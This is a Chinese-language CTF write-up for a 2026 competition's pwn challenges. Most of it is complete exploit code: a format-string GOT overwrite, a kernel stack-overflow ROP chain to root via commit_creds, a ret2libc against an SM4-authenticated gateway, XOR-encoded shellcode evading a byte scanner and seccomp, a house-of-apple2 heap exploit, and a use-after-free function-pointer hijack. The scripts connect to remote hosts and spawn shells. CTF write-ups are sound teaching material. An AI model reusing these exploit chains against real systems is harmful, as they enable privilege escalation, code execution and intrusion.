2026湾区杯wp
更新中(working
Pwn
logd
保护基本全开,仅有Partial RELRO。不出意外是格式化字符串改GOT表。看了一下题目架构,大概是程序会循环收ticket,格式为p16+ChaCha8(明文部分),nonce(密钥)硬编码在二进制里。
总的来说是一个crypto-pwn
解密过程
因为没有隐藏符号表,可以用nm读出符号,我就列几个关键的
CHACHA_KEY @ .rodata 0x2060 : "ChaCha8T1ck3tK3y20260psChannelXX" (32B)
BF_KEY @ 0x2080 : "L06d-S3cr3t-K3y!" (16B Blowfish 密钥)
PW_CT @ 0x2090 : 登录口令密文
用 BF_KEY ECB 解密 PW_CT 即得 L0gd-Ma1nT-2026!。
#!/usr/bin/env python3
"""Client-side crypto for logd: Blowfish (pi-digit tables, key schedule, decrypt)
and ChaCha8 keystream, matching the service implementation."""
import struct
# ---------------- Blowfish ----------------
def _arctan_inv(x, scale):
total = 0
k = 0
x2 = x * x
term = scale // x
while term:
t = term // (2 * k + 1)
total += t if k % 2 == 0 else -t
term //= x2
k += 1
return total
def _pi_words():
n = 8400
scale = 16 ** n
pi = 16 * _arctan_inv(5, scale) - 4 * _arctan_inv(239, scale)
frac = pi - 3 * scale
words = []
v = frac
for i in range(18 + 4 * 256):
w = 0
for _ in range(8):
v *= 16
d, v = divmod(v, scale)
w = (w << 4) | int(d)
words.append(w)
return words
_W = _pi_words()
P_INIT = _W[:18]
S_INIT = [_W[18 + 256 * j:18 + 256 * (j + 1)] for j in range(4)]
M32 = 0xFFFFFFFF
def _F(S, x):
return (((S[0][x >> 24] + S[1][(x >> 16) & 0xFF]) & M32 ^ S[2][(x >> 8) & 0xFF]) + S[3][x & 0xFF]) & M32
def bf_key_schedule(key: bytes):
P = P_INIT[:]
S = [row[:] for row in S_INIT]
for i in range(18):
kw = 0
for j in range(4):
kw = (kw << 8) | key[(4 * i + j) % len(key)]
P[i] ^= kw
def enc(L, R):
for i in range(16):
L ^= P[i]
R ^= _F(S, L)
L, R = R, L
L, R = R, L
R ^= P[16]
L ^= P[17]
return L, R
L = R = 0
for i in range(0, 18, 2):
L, R = enc(L, R)
P[i], P[i + 1] = L, R
for j in range(4):
for i in range(0, 256, 2):
L, R = enc(L, R)
S[j][i], S[j][i + 1] = L, R
return P, S
def bf_decrypt_block(P, S, block: bytes) -> bytes:
L = struct.unpack(">I", block[:4])[0]
R = struct.unpack(">I", block[4:])[0]
L ^= P[17]
R ^= P[16]
L, R = R, L
for i in reversed(range(16)):
L, R = R, L
R ^= _F(S, L)
L ^= P[i]
return struct.pack(">II", L, R)
def bf_encrypt_block(P, S, block: bytes) -> bytes:
L = struct.unpack(">I", block[:4])[0]
R = struct.unpack(">I", block[4:])[0]
for i in range(16):
L ^= P[i]
R ^= _F(S, L)
L, R = R, L
L, R = R, L
R ^= P[16]
L ^= P[17]
return struct.pack(">II", L, R)
def blowfish_ecb_decrypt(key: bytes, ct: bytes) -> bytes:
P, S = bf_key_schedule(key)
return b"".join(bf_decrypt_block(P, S, ct[i:i + 8]) for i in range(0, len(ct), 8))
# ---------------- ChaCha8 ----------------
SIGMA = (0x61707865, 0x3320646E, 0x79622D32, 0x6B206574)
def _rol(x, n):
return ((x << n) | (x >> (32 - n))) & M32
def _qr(x, a, b, c, d):
x[a] = (x[a] + x[b]) & M32; x[d] ^= x[a]; x[d] = _rol(x[d], 16)
x[c] = (x[c] + x[d]) & M32; x[b] ^= x[c]; x[b] = _rol(x[b], 12)
x[a] = (x[a] + x[b]) & M32; x[d] ^= x[a]; x[d] = _rol(x[d], 8)
x[c] = (x[c] + x[d]) & M32; x[b] ^= x[c]; x[b] = _rol(x[b], 7)
def chacha8_crypt(data: bytes, key: bytes, nonce: bytes) -> bytes:
st = list(SIGMA) + list(struct.unpack("<8I", key)) + [0] + list(struct.unpack("<3I", nonce))
out = bytearray()
while len(out) < len(data):
x = st[:]
for _ in range(4):
_qr(x, 0, 4, 8, 12); _qr(x, 1, 5, 9, 13); _qr(x, 2, 6, 10, 14); _qr(x, 3, 7, 11, 15)
_qr(x, 0, 5, 10, 15); _qr(x, 1, 6, 11, 12); _qr(x, 2, 7, 8, 13); _qr(x, 3, 4, 9, 14)
ks = struct.pack("<16I", *[((x[i] + st[i]) & M32) for i in range(16)])
st[12] += 1
take = min(64, len(data) - len(out))
out += bytes(a ^ b for a, b in zip(data[len(out):len(out) + take], ks))
return bytes(out)
if __name__ == "__main__":
# selftest: Schneier vector key=00*8 pt=00*8 -> 4ef997456198dd78
P, S = bf_key_schedule(b"\x00" * 8)
ct = bf_encrypt_block(P, S, b"\x00" * 8)
assert ct.hex() == "4ef997456198dd78", ct.hex()
assert bf_decrypt_block(P, S, ct) == b"\x00" * 8
print("blowfish selftest ok")
key = b"ChaCha8T1ck3tK3y20260psChannelXX"
nonce = b"T1ck3tN0nce!"
ks = chacha8_crypt(b"\x00" * 64, key, nonce)
print("chacha8 ks[0:64]:", ks.hex())
$ python3 -c "from logd_crypto import blowfish_ecb_decrypt as d; \
print(d(b'L06d-S3cr3t-K3y!', bytes.fromhex('242a88b6ea0319160ede32103990edda')))"
→ b'L0gd-Ma1nT-2026!'
得到密钥L0gd-Ma1nT-2026!
拿到密钥后,由于main中直接就有print(buf);
buf就是ChaCha8解密后的ticket明文,可以看出是一个格式化字符串漏洞
fmt 缓冲区起点对应 %58$
from pwn import *
import re
import sys
sys.path.insert(0,'附件')
from logd_crypto import chacha8_crypt
context.log_level='info'
KEY=b"ChaCha8T1ck3tK3y20260psChannelXX"; NONCE=b"T1ck3tN0nce!"
def ticket(payload):
payload = payload[:0x40]
return p16(len(payload)) + chacha8_crypt(payload, KEY, NONCE)
def send_fmt(p, fmt):
p.recvuntil(b"ticket>\n", timeout=5)
p.send(ticket(fmt))
return p.recvuntil(b"ticket>\n", timeout=5, drop=True)
REMOTE = len(sys.argv)>1 and sys.argv[1]=='r'
libc = ELF("附件/libc.so.6" if REMOTE else "/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
BUFSLOT = 58
p = remote("47.93.236.122", 24686) if REMOTE else process("./附件/logd")
p.recvuntil(b"password: ", timeout=5)
p.sendline(b"L0gd-Ma1nT-2026!")
# stage1: PIE base
o = send_fmt(p, b"|%72$p").decode()
base = int(o.strip("|").replace("(nil)","0x0"),16) - 0x1140
assert base & 0xfff == 0
log.success("PIE base %#x", base)
got_printf = base + 0x5028
# stage2: leak printf addr via %s (pointer at buffer offset 40 -> slot 63)
fmt = b"|%63$s|".ljust(40, b"A") + p64(got_printf)
r = send_fmt(p, fmt)
m = re.search(rb"\|(.*?)\|A+", r)
printf_addr = u64(m.group(1).ljust(8, b"\0"))
libc.address = printf_addr - libc.symbols['printf']
log.success("libc base %#x (printf %#x)", libc.address, printf_addr)
# stage3: overwrite printf GOT with system (byte-by-byte, low3 bytes differ)
sysm = libc.symbols['system']
got0 = u64(p64(printf_addr)[:8]) & 0xffffffff
diffs = [(i, (sysm ^ printf_addr) ) for i in range(4)]
# build writes: use %hn for low16 if needed + %hhn for bytes 2,3
n1 = sysm & 0xffff
n2 = (((sysm>>16)&0xff) - (n1 % 256)) % 256
n3 = (((sysm>>24)&0xff) - ((n1+n2) % 256)) % 256
fmt = (b"%"+str(n1).encode()+b"c%63$hn"
+ b"%"+str(n2).encode()+b"c%64$hhn"
+ b"%"+str(n3).encode()+b"c%65$hhn")
fmt = fmt.ljust(40, b"A") + p64(got_printf) + p64(got_printf+2) + p64(got_printf+3)
send_fmt(p, fmt)
# stage4: printf("/bin/sh") == system("/bin/sh")
p.recvuntil(b"ticket>\n", timeout=5)
p.send(ticket(b"/bin/sh"))
sleep(0.5)
p.sendline(b"echo PWNED; ls /; ls .; find / -maxdepth 3 -name *flag* 2>/dev/null; cat /flag* 2>/dev/null")
print(p.recvrepeat(8).decode(errors="replace"))
flag{b622dfff-786c-4cb4-8699-f22c5d3d7f3d}
Knote
一道内核栈溢出
存在两个ioctl命令字
0x4b4e01可以把一个内核指针传回用户态。这里就有一个KASLR泄漏
而0x4b4e02则是根据用户提供‘{buf,len}’从用户态拷贝到内核栈上一个0x58字节的缓冲区
根据这个我们就可以做一个内核栈溢出
内核缓解机制有SMEP ,SMAP和KPIT
分别是内核态不能跳用户态代码,不能直接模块用户态数据,从内核返回用户态要切页表。
内核自带有KPTI trampoline可以解决
KPTI trampoline 的 iretq 需要完整的 RIP/CS/RFLAGS/RSP/SS 五元组
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state(void) {
asm volatile(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n popq %2\n"
"movq %%rsp, %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) :: "memory");
}
直接溢出后塞rop链就好,len没有做限制
触发
args.buf = (unsigned long)payload;
args.len = 0x58 + i * 8; // 溢出长度
ioctl(fd, 0x4b4e02, &args); // ioctl 返回即 ret 进链
nc链接是一个busybox rootfs
我们把exp编码
uuencode exp_remote x > exp.uu
然后发送执行就行
// knote: KASLR leak + kernel stack overflow -> commit_creds(&init_cred) -> KPTI trampoline
// nostdlib build for console transfer (xxd -r -p)
#define SYS_read 0
#define SYS_write 1
#define SYS_open 2
#define SYS_ioctl 16
#define SYS_exit 60
static long sys3(long n, long a, long b, long c) {
long r;
asm volatile("syscall" : "=a"(r) : "a"(n), "D"(a), "S"(b), "d"(c)
: "rcx", "r11", "memory");
return r;
}
#define out(s) sys3(SYS_write, 1, (long)s, sizeof(s) - 1)
static unsigned long user_cs, user_ss, user_rflags, user_sp;
static void save_state(void) {
asm volatile("movq %%cs, %0\n movq %%ss, %1\n pushfq\n popq %2\n movq %%rsp, %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
:: "memory");
}
void back(void);
void _start(void) {
save_state();
int fd = (int)sys3(SYS_open, (long)"/dev/knote", 0, 0);
if (fd < 0) { out("E:open\n"); goto fail; }
unsigned long leak = 0;
if (sys3(SYS_ioctl, fd, 0x4b4e01, (long)&leak) < 0) { out("E:leak\n"); goto fail; }
unsigned long kbase = leak - 0xd38044; // &_printk
if ((kbase & 0xfffff) != 0) { out("E:kbase\n"); goto fail; }
out("[*] leaked\n");
struct { unsigned long buf; unsigned long len; } args;
unsigned long payload[64];
for (int i = 0; i < 64; i++) payload[i] = 0x4141414141414141UL;
unsigned long *rop = payload + 0x58 / 8;
int i = 0;
rop[i++] = kbase + 0xb3820; // pop rdi ; ret
rop[i++] = kbase + 0x1e8a8c0; // &init_cred
rop[i++] = kbase + 0xf86f0; // commit_creds
rop[i++] = kbase + 0xe011a6; // swapgs_restore_regs_and_return_to_usermode+0x36
rop[i++] = 0; // rax slot
rop[i++] = 0; // rdi slot
rop[i++] = (unsigned long)back; // RIP
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
args.buf = (unsigned long)payload;
args.len = 0x58 + i * 8;
sys3(SYS_ioctl, fd, 0x4b4e02, (long)&args);
out("E:ret\n");
fail:
sys3(SYS_exit, 1, 0, 0);
}
// reached from ROP with root creds
void back(void) {
out("[+] root, flag:\n");
int ff = (int)sys3(SYS_open, (long)"/flag", 0, 0);
char buf[128] = {0};
long n = sys3(SYS_read, ff, (long)buf, sizeof(buf) - 1);
if (n > 0) sys3(SYS_write, 1, (long)buf, n);
sys3(SYS_write, 1, (long)"\n", 1);
sys3(SYS_exit, 0, 0, 0);
}
from pwn import *
import time
context.log_level = 'info'
UU = open('exp.uu').read().splitlines()
p = remote('47.94.83.126', 20543)
p.recvuntil(b'$ ', timeout=120)
p.sendline(b"cat > /tmp/e.uu <<'ZZ'")
time.sleep(1); p.clean(1)
for ln in UU:
p.sendline(ln.encode()); time.sleep(0.03)
p.sendline(b'ZZ')
time.sleep(2); p.clean(1)
def run(cmd, t=3):
p.sendline(cmd.encode()); time.sleep(t)
return p.clean(2).decode(errors='replace')
print(run('wc -c /tmp/e.uu'))
print(run('uudecode /tmp/e.uu && chmod +x /tmp/x && echo DECODE_OK'))
print(run('/tmp/x; echo RUN_DONE', 5))
data = p.recvrepeat(5).decode(errors='replace')
print(data)
assert 'flag{' in data, 'no flag'
log.success('REMOTE PWNED')
p.close()
flag{679cb27c-a8f2-4e48-b734-8438710a6d57}
gatewayd
sm4硬编码认证
from pwn import *
from sm4 import SM4
import sys
context.log_level = 'info'
KEY = b"GW-SM4-2026-K3y!"
POP_RDI, RET = 0x401ad3, 0x40101a
PUTS_GOT, PUTS_PLT, MAIN = 0x404018, 0x4010e0, 0x401a0e
if len(sys.argv) > 1 and ':' in sys.argv[1]:
h, p = sys.argv[1].split(':')
io = remote(h, int(p))
libc = ELF('附件/libc.so.6', checksec=False)
else:
io = process('./gw')
libc = ELF('libs23/libc.so.6', checksec=False)
def frame(cmd, typ, sid, tlvs):
body = b''.join(bytes([t]) + p16(len(v), 'big') + v for t, v in tlvs)
return b'WG' + bytes([cmd, typ]) + p32(sid) + bytes([len(tlvs)]) + body
def rf():
h = io.recvn(12); ln = u16(h[10:12])
return h[2], (io.recvn(ln) if ln else b'')
def auth():
io.clean(0.5)
io.send(frame(1, 0, 0, []))
_, chal = rf()
io.send(frame(2, 0, 0, [(2, SM4(KEY).encrypt_block(chal)), (0, b'')]))
code, data = rf()
assert code == 0x82, 'auth failed'
return u32(data[:4])
def pwn_once(sid, *chain_vals):
chain = b''.join(p64(v) for v in chain_vals)[:0x38].ljust(0x38, b'\0')
ct = SM4(KEY).ctr_crypt(b'A'*0xc8 + chain, sid)
io.send(frame(3, 0, sid, [(0x20, ct)]))
io.recvn(12 + 17) # consume "device registered" reply
io.send(b'XX' + b'\x00'*7) # bad frame -> serve_loop returns into ROP
# stage 1: leak libc via puts(GOT), return to main
sid = auth()
log.success('sid = %#x' % sid)
pwn_once(sid, RET, POP_RDI, PUTS_GOT, PUTS_PLT, MAIN)
leak = u64(io.recvline()[:6].ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success('puts @ %#x' % leak)
log.success('libc @ %#x' % libc.address)
# stage 2: system("/bin/sh")
sid = auth()
pwn_once(sid, RET, RET, POP_RDI, next(libc.search(b'/bin/sh\x00')), libc.symbols['system'])
io.sendline(b'echo PWNED; cat /flag*; id')
io.interactive()
flag{156bea6c-179b-48f3-b177-b6f7ee9b55c8}
JIT-sandbox
fuzz测试,
程序 read 512 字节到 RW 内存页,静态扫描拦截:syscall 指令(0f 05)、0x3b、/bin/sh,随后页改 R-X、加载 seccomp 白名单(仅 read/write/openat/close/mprotect/exit/exit_group),直接跳进 payload。三个关键点:
- 页不可写:解混淆要写内存,但页已是 R-X —— 利用
run_payload留在r15的jit_commit(内置mprotect(page, 0x1000, RWX)stub),payload 开头call r15拿到可写页(mprotect 在白名单里); - 绕过字节扫描:真实 ORW 代码整体 XOR 编码,前面只放一个不含任何敏感字节的解码循环(
0f 05扫描连跨字节边界和文件首尾都查,所以选 key 时要连同头尾一起扫); - syscall 选用:白名单里没有
open(2),要用openat(0x101)(rdi=AT_FDCWD=-100, rsi=path——中途还把参数顺序写反了一次);远程 flag 路径不是/flag,最终版做了多路径探测表(32 字节步长对齐)依次尝试。
flag{a9eb19bd-2b62-4674-b1e0-3f5231fc1e75}
#!/usr/bin/env python3
# JIT Sandbox multi-path payload generator.
# Produce sc_multi.bin : XOR self-decoding ORW shellcode using openat(257).
# Tries several common flag paths (32-byte-stride name table).
from pwn import *
context.arch = 'amd64'
plain = asm('''
xor ebx, ebx
next_name:
lea rsi, [rip+names]
mov rax, rbx
shl rax, 5
add rsi, rax
cmp byte ptr [rsi], 0
je done
mov eax, 257
mov rdi, -100
xor edx, edx
syscall
cmp eax, 0
js advance
mov edi, eax
xor eax, eax
lea rsi, [rip+buf]
mov edx, 120
syscall
test eax, eax
jle advance
mov edx, eax
mov eax, 1
mov edi, 1
lea rsi, [rip+buf]
syscall
jmp done
advance:
inc ebx
jmp next_name
done:
mov eax, 60
xor edi, edi
syscall
.balign 32
names:
.string "/flag"
.balign 32
.string "/flag.txt"
.balign 32
.string "flag"
.balign 32
.string "flag.txt"
.balign 32
.string "/home/ctf/flag"
.balign 32
.string "/home/ctf/flag.txt"
.balign 32
buf:
.space 120
''')
# Replicate the server's static scanner on the WHOLE uploaded buffer:
# - no 0x3b byte, no 0x0f 0x05 (syscall), no "/bin/sh"
# - boundaries matter too (sc[0]==5 / sc[-1]==0x0f can complete a syscall instr)
def clean(sc):
if b'/bin/sh' in sc:
return False
if 0x3b in sc:
return False
if sc[0] == 5 or sc[-1] == 0x0f:
return False
i = 0
while True:
j = sc.find(b'\x0f', i)
if j < 0:
return True
if j + 1 < len(sc) and sc[j + 1] == 5:
return False
i = j + 1
for K in range(1, 256):
head = asm(f'''
lea rdi, [rip+data]
and rdi, -4096
mov esi, 4096
mov edx, 7
mov eax, 10
call r15
lea rsi, [rip+data]
mov ebx, {len(plain)}
1: xor byte ptr [rsi], {K}
inc rsi
dec ebx
jnz 1b
jmp data
data:
''')
sc = head + bytes(c ^ K for c in plain)
if clean(sc) and len(sc) <= 0x200:
open('sc_multi.bin', 'wb').write(sc)
print('K=%#x len=%d' % (K, len(sc)))
break
else:
print('no key found')
vaultkeeper
堆,走house of apple2
from pwn import *
import sys
import sys
context.log_level='info'
STEP=0
import os
# libc 2.39 offsets (from libc6-dbg symbols)
OFF_MAIN_ARENA = 0x203ac0
OFF_SYSTEM = 0x58750
OFF_IO_LIST_ALL= 0x2044c0
OFF_WFILE_JUMPS= 0x202228
REMOTE = len(sys.argv)>1 and sys.argv[1]=='r'
if REMOTE:
p = remote(sys.argv[2], int(sys.argv[3]))
else:
p = process("./bin/vault_patched")
slots = [None]*16 # track slot index assignment (first free)
def my_store(size):
p.recvuntil(b"> "); p.sendline(b"1")
p.recvuntil(b"Size: "); p.sendline(str(size).encode())
p.recvuntil(b"Stored in slot ")
i = int(p.recvline().strip().rstrip(b"."))
assert slots[i] is None; slots[i] = size
return i
def my_edit(i, data):
p.recvuntil(b"> "); p.sendline(b"2")
p.recvuntil(b"Slot: "); p.sendline(str(i).encode())
p.recvuntil(b"Data: "); p.send(data)
def my_view(i):
p.recvuntil(b"> "); p.sendline(b"3")
p.recvuntil(b"Slot: "); p.sendline(str(i).encode())
d = p.recvn(slots[i], timeout=5)
return d
def my_discard(i):
p.recvuntil(b"> "); p.sendline(b"4")
p.recvuntil(b"Slot: "); p.sendline(str(i).encode())
p.recvuntil(b"Discarded.")
slots[i] = None
def my_enhance(i, data):
p.recvuntil(b"> "); p.sendline(b"6")
p.recvuntil(b"Slot: "); p.sendline(str(i).encode())
p.recvuntil(b"Enhanced data: "); p.send(data)
# heap layout offsets from heap_base (simulated, deterministic):
# S1@2a0(0x500) G@7a0(0x30) | rem4e0@2c0: F1..F6 (0x90 each), rem180@620: F7, remf0@6b0: A? no...
# G2(0x58)@740-hole? see notes: F7@620, rem f0@6b0 consumed by A? -> G2@6b0? recheck in comments
# Final: A@7d0(0x90) B@860(0x90) C@8f0(0x60) D@950(0x90) F@9e0(0x60)
OFF = dict(A=0x800, B=0x890, C=0x920, D=0x980, F=0xa10) # data addrs rel heap_base
# ---- unlock enhance ----
p.recvuntil(b"> "); p.sendline(b"31337")
p.recvuntil(b"Master key: "); p.sendline(b"V4ult_0verfl0w!!")
p.recvuntil(b"granted.")
# ---- libc leak ----
s1 = my_store(0x20)
s0 = my_store(0x4f8)
guard2 = my_store(0x20)
my_discard(s0)
sL = my_store(0x18)
leak = u64(my_view(sL)[:8])
libc = leak - 0x203f50
log.success("libc base %#x", libc)
assert libc & 0xfff == 0
my_discard(s1); my_discard(guard2); my_discard(sL) # free slots for later
# ---- setup ----
fillers = [my_store(0x88) for _ in range(7)]
g2 = my_store(0x58) # consume rem -> 0x90 left
g3 = my_store(0x88) # dummy: consume last remainder so A..F come from top contiguously
A = my_store(0x88); B = my_store(0x88); C = my_store(0x58); D = my_store(0x88); F = my_store(0x58)
c_buf = bytearray(b"\x00"*0x58); c_buf[0x50:0x58] = p64(0xf0) # D.prev_size for unsorted check
for f_ in fillers: my_discard(f_) # tcache[0x90] = 7
log.info("STEP my_discard(B)")
my_discard(B) # B -> unsorted
# enhance(C) MUST be after discard(B): if D.prev_inuse were cleared beforehand,
# free(B) would treat C as free and try to unlink it -> "corrupted size vs prev_size".
# free(B) only rewrites C's OWN header (prev_size/inuse); D.prev_size & D.size are
# still ours to set here for the malloc(0xe8) unsorted exact-fit checks.
my_enhance(C, bytes(c_buf) + b"\x90") # D.prev_size=0xf0, clear D.prev_inuse (0x91->0x90)
# ---- overlap ----
log.info("STEP my_enhance(A")
my_enhance(A, b"A"*0x88 + b"\xf1") # B.size: 0x91 -> 0xf1
log.info("STEP E = my_store")
E = my_store(0xe8) # E = B chunk as 0xf0, overlapping C
E_data = OFF['B']
# ---- heap leak ----
log.info("STEP my_discard(C) # tcache")
my_discard(C) # tcache[0x60] head=C, fd = C>>12
vE = my_view(E)
open("/tmp/viewE.bin","wb").write(vE)
print("viewE:", vE.hex())
heap_page = u64(vE[0x90:0x98])
heap = heap_page << 12
log.success("heap base %#x", heap)
absA = lambda off: heap + off
# ---- prepare D: fake wide vtable ----
D_data = absA(OFF['D'])
# wide_data = E_data+0x18 => wide_data+0xe0 = *(D_data+8) = wide vtable V = D_data+0x10,
# and _IO_WDOALLOCATE calls V->__doallocate (offset 0x68) = *(D_data+0x78) = system.
# (_IO_wfile_overflow reaches the doalloc path only when wide->_IO_write_base==NULL,
# i.e. fake_FILE+0x18+0x18 = e[0x30] must stay 0.)
d_buf = p64(0) + p64(D_data + 0x10) # [D]=0(unused), [D+8]=&(D+0x10)=wide vtable
d_buf = d_buf.ljust(0x78, b"\x00") + p64(libc + OFF_SYSTEM) # (D+0x10)+0x68 -> [D+0x78]=system
d_buf = d_buf.ljust(0x88, b"\x00")
log.info("STEP my_edit(D,")
my_edit(D, d_buf)
# ---- re-free C with count=2, head=C ----
log.info("STEP C2 = my_store(0x58)")
C2 = my_store(0x58) # pops C back
my_discard(F) # count1 head=F
my_discard(C2) # count2 head=C
# ---- fake FILE in E ----
e = bytearray(b"\x00"*0xe8)
e[0x00:0x08] = b" sh\x00\x00\x00\x00\x00"
e[0x20:0x28] = p64(0) # _IO_write_base
e[0x28:0x30] = p64(1) # _IO_write_ptr
e[0x68:0x70] = p64(0) # _chain
e[0x88:0x90] = p64(D_data + 0x20) # _lock
e[0xa0:0xa8] = p64(absA(E_data) + 0x18) # _wide_data (wide+0x18 = _IO_write_base must be NULL)
e[0xc0:0xc4] = p32(0) # _mode
e[0xd8:0xe0] = p64(libc + OFF_WFILE_JUMPS)
log.info("STEP my_edit(E,")
my_edit(E, bytes(e))
# ---- poison tcache: C.fd -> &_IO_list_all ----
c_fd_addr = absA(OFF['C'])
target = libc + OFF_IO_LIST_ALL
poison = (c_fd_addr >> 12) ^ target
e2 = bytearray(e); e2[0x90:0x98] = p64(poison)
my_edit(E, bytes(e2))
log.info("STEP C3 = my_store")
C3 = my_store(0x58) # pops C
log.info("STEP T = my_store")
T = my_store(0x58) # returns &_IO_list_all
log.info("STEP my_edit(T,")
my_edit(T, p64(absA(E_data)).ljust(0x58, b"\x00"))
# ---- trigger ----
p.recvuntil(b"> "); p.sendline(b"5")
sleep(0.5)
p.sendline(b"echo PWNED; cat /flag* /*/flag* 2>/dev/null; id")
print(p.recvrepeat(10).decode(errors="replace"))
flag{bbbd3972-143e-4314-a1a5-23b1ad17f023}
ArchiveFS
UAF,tcache poisoning,泄露pie
#!/usr/bin/env python3
# ArchiveFS pwn exploit
#
# Bugs:
# - recycle_document frees a doc's body but keeps docs[i] (and body ptr), only
# sets state=3 -> UAF on a freed 0x50 chunk that we can still revise()/preview().
# - revise_document checks state != 0 (3 passes) -> UAF write into the freed body.
# - struct and body are BOTH malloc(0x40) -> same tcache 0x50 bin, so a freed
# body can be reallocated as another doc's *struct*.
#
# Plan (no heap leak, no safe-linking math):
# 1. create doc0 (0x40) -> struct0 + body0
# 2. preview doc0 -> leak PIE base (cb prints its own address)
# 3. recycle doc0 -> frees body0 into tcache[0x50] (UAF)
# 4. create doc1 (0x40) -> its *struct* is carved from freed body0
# 5. revise doc0 -> writes 0x40 into doc0->body == doc1->struct, forging
# doc1.cb (+0x30) = stream_sync_driver
# 6. preview doc1 -> calls doc1.cb = stream_sync_driver -> open("./flag"),
# read, write(1), exit. (seccomp allows ORW)
import sys
from pwn import *
context.log_level = 'info'
OFF_PREVIEW_CB = 0x1712 # preview_callback (its address is printed as token)
OFF_SYNC = 0x17a9 # stream_sync_driver: open("./flag")+read+write+exit
def start():
if len(sys.argv) > 2:
return remote(sys.argv[1], int(sys.argv[2]))
return process('./afs')
io = start()
def create(idx, size, name=b'D', body=b'B'):
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'document id: ', str(idx).encode())
io.sendlineafter(b'content size: ', str(size).encode())
io.sendafter(b'name: ', name.ljust(0x20, b'\x00'))
io.sendafter(b'content: ', body.ljust(size, b'\x00'))
io.recvuntil(b'document archived')
def preview(idx):
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'document id: ', str(idx).encode())
io.recvuntil(b'plugin token: ')
tok = int(io.recvline().strip(), 16)
io.recvuntil(b'---- document body ----\n')
d = io.recvuntil(b'\n---- end preview ----', drop=True)
return tok, d
def recycle(idx):
io.sendlineafter(b'> ', b'4')
io.sendlineafter(b'document id: ', str(idx).encode())
def revise(idx, data):
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'document id: ', str(idx).encode())
io.sendafter(b'revision data: ', data)
io.recvuntil(b'draft revised')
# ---- doc0 ----
create(0, 0x40)
# PIE leak
tok, _ = preview(0)
base = tok - OFF_PREVIEW_CB
log.success('pie base = %#x' % base)
# free body0 (doc0 body) -> tcache[0x50], UAF
recycle(0)
# doc1's struct is carved from the just-freed body0 (same 0x50 bin)
create(1, 0x40)
# overwrite doc1's struct (= doc0's freed body) through the UAF revise.
# struct layout: name[0x20] | body@+0x20 | size@+0x28 | cb@+0x30 | state@+0x38
payload = b'\x00' * 0x30 + p64(base + OFF_SYNC) + p64(1)
log.info('forging doc1.cb -> %#x' % (base + OFF_SYNC))
revise(0, payload)
# preview doc1 -> calls cb == stream_sync_driver -> prints ./flag
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'document id: ', b'1')
data = io.recvrepeat(3)
log.info('output tail: %r' % data[:300])
m = re.search(rb'(?:hgame|flag|ctf)\{[^}\n]*\}', data)
if m:
log.success('FLAG: %s' % m.group().decode())
else:
log.warning('no flag regex; full output below')
print(data)
io.close()
flag{dd46612c-c802-4c37-a495-d2cf2c4b0a5c